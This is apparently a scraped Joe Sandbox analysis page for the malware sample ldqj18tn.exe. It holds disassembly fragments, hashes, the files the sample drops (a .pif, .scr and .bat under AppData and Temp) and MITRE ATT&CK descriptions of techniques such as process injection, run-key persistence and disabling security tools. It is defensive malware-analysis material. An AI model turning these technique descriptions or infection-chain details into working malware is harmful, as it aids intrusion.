Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 2cb33b8d98fc3b31c08ff75c5b1561352f0c55bc02b540945566d1a02dfb7326
Instruction ID: dd63644c04eb52e019d096ac1994bb4c9c639264d340173df8d03ba2ebc8b993
Opcode Fuzzy Hash: 2cb33b8d98fc3b31c08ff75c5b1561352f0c55bc02b540945566d1a02dfb7326
Instruction Fuzzy Hash: 6B0184B6F41119ABDB24EBA0CD52EFF77A8AF15340F140119BC41632C1DA589E08B6B1

Function 00F4993A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

Part of subcall function 00F4B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00F4B7BD

SendMessageW.USER32(?,00000182,?,00000000), ref: 00F499A6

Strings

ListBox, xrefs: 00F49972
ComboBox, xrefs: 00F49947

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 5b9e65367f5480656cbae4740f5f0dc3cf71b42b5332eb3cd667f0d73e57d796
Instruction ID: a01707c5468cec72e12eb4e19cf8af8eeb744e97bcad0b122a85f0a254cebe3b
Opcode Fuzzy Hash: 5b9e65367f5480656cbae4740f5f0dc3cf71b42b5332eb3cd667f0d73e57d796
Instruction Fuzzy Hash: CE01DBB2F45119BBDB14EBA4CE52EFF77ACAF11340F140019BC45632C1DA588E08B672

Function 00F554E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00F55501
_wcscmp.LIBCMT ref: 00F55513

Strings

#32770, xrefs: 00F5550D

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 3a260f01e0112630d28136f47bed7ea0bc3eb7771e3497c63a8d55be8bb8ab57
Instruction ID: fca472333bd6095c2bb931b67889304580e785e67ea446c3075ab7b25d325f75
Opcode Fuzzy Hash: 3a260f01e0112630d28136f47bed7ea0bc3eb7771e3497c63a8d55be8bb8ab57
Instruction Fuzzy Hash: 44E0617250022C17D720A659AC49FEBFBECDF45771F000017FD04D3051E960E94587D0

Function 00F48892 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00F488A0

Part of subcall function 00F13588: _doexit.LIBCMT ref: 00F13592

Strings

AutoIt, xrefs: 00F48894
Error allocating memory., xrefs: 00F48899

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 1045b30042b6057c563d38529c060574eaf099a5bc1489e716475deffea91cda
Instruction ID: 7196cc938b45f162041d446108fe9a2c53e599d36f502976bbe9a585bf27ade9
Opcode Fuzzy Hash: 1045b30042b6057c563d38529c060574eaf099a5bc1489e716475deffea91cda
Instruction Fuzzy Hash: CFD02B7138531832C25032A46D0BFDA7F488F09B61F000026FF08650C38DDAD5C0B2D6

Function 00F2B4F1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00F2B544: _memset.LIBCMT ref: 00F2B551

Part of subcall function 00F10B74: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00F2B520,?,?,?,00EF100A), ref: 00F10B79

IsDebuggerPresent.KERNEL32(?,?,?,00EF100A), ref: 00F2B524
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00EF100A), ref: 00F2B533

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00F2B52E

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: 9a77750c210f7d8076cc843d4a3ce048e1eeb59b7f8790a6677c9d93a81d3328
Instruction ID: 0426bb50b4811762cb17ebf1b30d1f41a75a9320b67f23fe2dcecca718f1a2a4
Opcode Fuzzy Hash: 9a77750c210f7d8076cc843d4a3ce048e1eeb59b7f8790a6677c9d93a81d3328
Instruction Fuzzy Hash: 5EE06D702007258BD760AF25E8067527BE0AF44304F04891EE846C6341DFB8D548EB91

Function 00F30251 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00F30091

Part of subcall function 00F6C6D9: LoadLibraryA.KERNEL32(kernel32.dll,?,00F3027A,?), ref: 00F6C6E7
Part of subcall function 00F6C6D9: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00F6C6F9

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00F30289

Strings

WIN_XPe, xrefs: 00F300A4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: 0530a0bb4ecd4ef49084457c6eb201f5e7c591e81c170347ed806fc7d00463a7
Instruction ID: 281b167db28d7b95a594f651ec41aa830f42bb1a3c2241ea91fd924094b60edd
Opcode Fuzzy Hash: 0530a0bb4ecd4ef49084457c6eb201f5e7c591e81c170347ed806fc7d00463a7
Instruction Fuzzy Hash: 54F0C0B1805109DFCB59DB54C9A87FD7BB8AB48314F541096E146B2160CF755F44EF21

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ldqj18tn.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Data Obfuscation

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js

C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.scr

C:\Users\user\AppData\Local\TechMesh Dynamics\M

C:\Users\user\AppData\Local\Temp\704579\Organizational.pif

C:\Users\user\AppData\Local\Temp\704579\u

C:\Users\user\AppData\Local\Temp\Against

C:\Users\user\AppData\Local\Temp\Becoming

C:\Users\user\AppData\Local\Temp\Commodities

C:\Users\user\AppData\Local\Temp\Consequence

C:\Users\user\AppData\Local\Temp\Descending

C:\Users\user\AppData\Local\Temp\Descending.bat

C:\Users\user\AppData\Local\Temp\Estimate

C:\Users\user\AppData\Local\Temp\Fastest

C:\Users\user\AppData\Local\Temp\Gently

C:\Users\user\AppData\Local\Temp\International

C:\Users\user\AppData\Local\Temp\Jessica

Windows Analysis Report
ldqj18tn.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre